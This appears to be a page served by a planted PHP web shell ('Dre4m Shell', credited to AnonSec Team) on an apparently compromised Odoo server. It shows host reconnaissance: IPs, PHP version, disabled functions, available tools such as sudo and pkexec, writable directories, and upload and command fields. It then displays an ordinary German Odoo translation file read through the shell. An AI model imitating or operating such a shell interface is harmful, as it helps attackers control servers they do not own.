Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.128.78.43
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/product_extended/i18n/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/product_extended/i18n/de.po
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * product_extended
# 
# Translators:
# Martin Trigaux <mat@odoo.com>, 2016
# Wolfgang Taferner <wolfgang.transifex@service.wt-io-it.at>, 2016
# Ermin Trevisan <trevi@twanda.com>, 2016
# Thomas A. Jaeger <tj@jamotion.ch>, 2016
msgid ""
msgstr ""
"Project-Id-Version: Odoo Server 10.0c\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-09-07 08:57+0000\n"
"PO-Revision-Date: 2016-09-07 08:57+0000\n"
"Last-Translator: Thomas A. Jaeger <tj@jamotion.ch>, 2016\n"
"Language-Team: German (https://www.transifex.com/odoo/teams/41243/de/)\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Language: de\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#. module: product_extended
#: model:ir.model.fields,field_description:product_extended.field_product_product_available_in_pos
msgid "Available in the Point of Sale"
msgstr "Verfügbar am Point Of Sale"

#. module: product_extended
#: model:ir.model.fields,help:product_extended.field_product_product_to_weight
msgid ""
"Check if the product should be weighted using the hardware scale integration"
msgstr ""
"Aktivieren Sie diese Einstellung, wenn das Produkt an Kassenplätzen gewogen "
"werden soll"

#. module: product_extended
#: model:ir.model.fields,help:product_extended.field_product_product_available_in_pos
msgid "Check if you want this product to appear in the Point of Sale"
msgstr "bisher gibt es keine Übersetzung bisher"

#. module: product_extended
#: model:ir.ui.view,arch_db:product_extended.product_product_ext_form_view2
#: model:ir.ui.view,arch_db:product_extended.product_product_view_form_normal_inherit_extended
msgid "Compute from BOM"
msgstr "Berechnung aus Stückliste"

#. module: product_extended
#: model:ir.ui.view,arch_db:product_extended.product_product_ext_form_view2
#: model:ir.ui.view,arch_db:product_extended.product_product_view_form_normal_inherit_extended
msgid ""
"Compute the price of the product using products and operations of related "
"bill of materials, for manufactured products only."
msgstr ""
"Berechnung des Produktpreises mittels Produkten und Vorgängen der "
"entsprechenden Stücklisten, nur für Fertigungsprodukte."

#. module: product_extended
#: model:ir.model.fields,field_description:product_extended.field_product_product_pos_categ_id
msgid "Point of Sale Category"
msgstr "Point of Sale Kategorie"

#. module: product_extended
#: model:ir.model,name:product_extended.model_product_product
msgid "Product"
msgstr "Produkt"

#. module: product_extended
#: model:ir.model,name:product_extended.model_product_template
msgid "Product Template"
msgstr "Produktvorlage"

#. module: product_extended
#: model:ir.model.fields,help:product_extended.field_product_product_pos_categ_id
msgid "Those categories are used to group similar products for point of sale."
msgstr ""
"Diese Kategorien werden zur Gruppierung vergleichbarer Produkte genutzt."

#. module: product_extended
#: model:ir.model.fields,field_description:product_extended.field_product_product_to_weight
msgid "To Weigh With Scale"
msgstr "Mit Waage zu wiegen"

Anon7 - 2022
AnonSec Team